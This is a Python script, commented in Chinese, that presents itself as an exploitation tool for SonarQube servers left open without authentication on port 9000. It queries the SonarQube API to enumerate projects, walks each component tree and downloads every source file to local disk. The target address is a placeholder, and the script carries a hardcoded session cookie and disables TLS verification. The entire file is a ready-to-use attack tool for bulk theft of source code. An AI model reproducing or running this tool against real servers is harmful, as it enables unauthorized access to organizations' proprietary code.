#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# User      : CF_HB
# explain   : Sonarqube 9000端口，扫描引擎未授权访问的下载源码利用工具
# Datetime  : 2021/3/14 23:25

import requests
import json
import re
import os
import threading
import queue
from urllib.parse import urlparse
#
# Sonarqube 9000端口，扫描引擎未授权访问的下载源码利用工具
#
class Scanner(object):
    def __init__(self):
        self.url = ''
        self.project_key = ''
        self.project_name = ''  # IP+Project Name
        self.thread_count = 1
        self.languages = 'java'  # 搜索什么语言的源码，默认java, 可选：xml, java, jsp, js,web,kotlin,py,php,css,scala
        self.file_count = 0
        self.fail_count = 0
        self.check_key = ""
        self.components_Tree = []

    # 获取项目信息
    def get_projects(self):

        url = 'http://netloc/path;param?query=arg#frag'
        parsed = urlparse(self.url)
        netloc = parsed.netloc
        ipaddr = netloc.split(":")[0]

        try:
            burp0_base_url = self.url+"/api/components/search_projects?ps=50&f=analysisDate%2CleakPeriodDate&s=analysisDate&asc=false&"
            if self.check_key == "":
                condiction_filter = "filter=languages%20%3D%20" + self.languages
            else:
                condiction_filter = "filter=languages%20%3D%20" + self.languages + "%20and%20query%20%3D%20%22{check_key}%22".format(check_key=self.check_key)

            burp0_url = burp0_base_url + condiction_filter
            burp0_cookies = {"JSESSIONID": "2CA6E657AB011B76E0D5C02ED74D868B"}
            burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Accept": "application/json",
                             "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36",
                             "Referer": self.url+"/projects?sort=-analysis_date",
                             "Accept-Encoding": "gzip, deflate",
                             "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
            print(burp0_url)

            rsp = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, verify=False)
            text_jsons = json.loads(rsp.content)
            total = (text_jsons['paging']['total'])
            print("FOUND %s Projects. in %s " % (total, self.url))

            components = text_jsons['components']
            # print(components)
            for component in components:
                name = (component['name'])
                analysisDate = (component['analysisDate'])
                key = component['key']
                # print(key)
                self.project_key = key
                self.project_name = ipaddr + os.sep + name
                self.download_component_tree(key)
        except Exception as e:
            print(e)
            return None, None

    # 获取项目代码树和文件树
    def download_component_tree(self, project_key):
        get_component_tree_url = self.url + "/api/measures/component_tree?ps=100&s=qualifier%2Cname&component=" + project_key + "&metricKeys=code_smells&strategy=children"
        # print(get_component_tree_url)
        components_rsp = requests.get(get_component_tree_url, verify=False).content
        # print(components_rsp)
        components_list = json.loads(components_rsp)['components']
        for component in components_list:
            component_key = component['key']
            component_path = component['path']
            if "." not in component_path:
                dir_target = self.project_name + os.sep + component_path
                if not os.path.exists(dir_target):
                    os.makedirs(dir_target)

                self.download_component_tree(component_key)
            else:
                try:

                    self.get_file_sources(component_key, component_path)
                    self.file_count += 1
                    print("downloading %s files success.." % str(self.file_count))
                except:
                    self.fail_count +=1
                    print("downloading %s files fail.." % str(self.fail_count))

    # 根据文件的KEY，下载源码如：http://111.222.000.333:9000/api/sources/lines?key=de.fonpit:fonpit-business-layer:pom.xml&from=1&to=5002
    def get_file_sources(self, component_key, component_path):
        url = self.url + "/api/sources/lines?key=" + component_key + "&from=1&to=5002"
        print("downloading %s files " + str(self.file_count))

        rsp = requests.get(url, verify=False)
        sources_json = json.loads(rsp.content)
        sources_lists = sources_json['sources']
        dr = re.compile(r'<[^>]+>', re.S)
        import html

        with open(self.project_name + os.sep + os.sep + component_path, mode='a+') as wf:
            for line in sources_lists:
                sources_line = line['code']
                sources_cleanline = dr.sub('', sources_line)
                sources_unescape_cleanline = html.unescape(sources_cleanline)
                wf.write(sources_unescape_cleanline + "\n")


    def scan(self):
        for i in range(self.thread_count):
            t = threading.Thread(target=self.get_projects())
            t.start()


if __name__ == '__main__':
    s = Scanner()
    s.check_key = ""  # 特定的项目
    s.url = "http://000.111.222.333:9000"   # 目标Sonarqube IP地址
    s.scan()
    print("Everything is Over, Have Fun~~~~")